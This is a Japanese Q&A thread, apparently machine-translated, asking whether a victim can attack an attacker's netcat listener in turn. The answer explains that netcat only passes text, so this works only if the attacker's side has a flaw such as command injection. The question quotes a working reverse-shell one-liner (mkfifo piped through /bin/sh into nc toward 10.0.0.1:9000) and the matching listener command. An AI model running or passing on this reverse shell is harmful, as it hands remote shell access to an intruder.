web-dev-qa-db-ja.com

Netcatリスナーをバックドアすることは可能ですか?

専用のソフトウェアまたは悪意のあるコマンドのいずれかを使用して、コンピューターとサーバーをバックドアし、ターゲットマシンにバックドアを起動し、ターミナルをサーバー上の待機中のnetcatセッションにパイプします。

これは興味深い分野ですが、そのタイプのことをどれほど簡単に行うことができるかを知るために、何か他のことをしようとする好奇心がありました。

Netcatを使用してポートでリッスンしているサーバーにバックドアを生成する可能性について疑問に思っていました。できればLinuxマシン。コマンドは次のようになります。

root@ubuntu:~# nc -lvk 9000
Listening on [0.0.0.0] (family 0, port 9000)

これは基本的に、攻撃者のサーバーがどのようになるかを表しています。次に、バックドアで被害者のマシンにスポーンするのを待っていたとしましょう。被害者はLinuxマシンで次のようなコマンドを実行します。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 9000 >/tmp/f

10.0.0.1 IPアドレスが攻撃者のIPであると想定します。この時点で、攻撃者は(被害者がこの悪意のあるコマンドを実行した後)、次のようになります。

root@ubuntu:~# nc -lvk 9000
Listening on [0.0.0.0] (family 0, port 9000)
$

そしてそこから、攻撃者は被害者から自分のサーバーにパイプ接続されたターミナルを持っています。

どのように私はこれを悪用することができ、被害者が攻撃者にシェルを送信する代わりに、被害者はどのようにしてNetcatを使用している攻撃者の開いているポート(9000)をバックドアできますか?

1
BlackVikingPro

いいえ、あなたがこれを説明しているように、これは機能しません。 netcat -lnvpはコマンドを実行するものではありません。それは本当にテキストチャットの片面にすぎません。ご覧のように、シェルをnetcatにパイプして、そのテキストを処理するシェルにこれらのメッセージをフックする必要があります。

攻撃者のマシンに脆弱性がない限り、被害者はテキストのみを送信できます。脆弱性は、送信されたテキストでコマンドを実行するnetcat、またはコマンドインジェクションに対して脆弱なnetcat出力を処理するスクリプトを使用する攻撃者です。

2
J.A.K.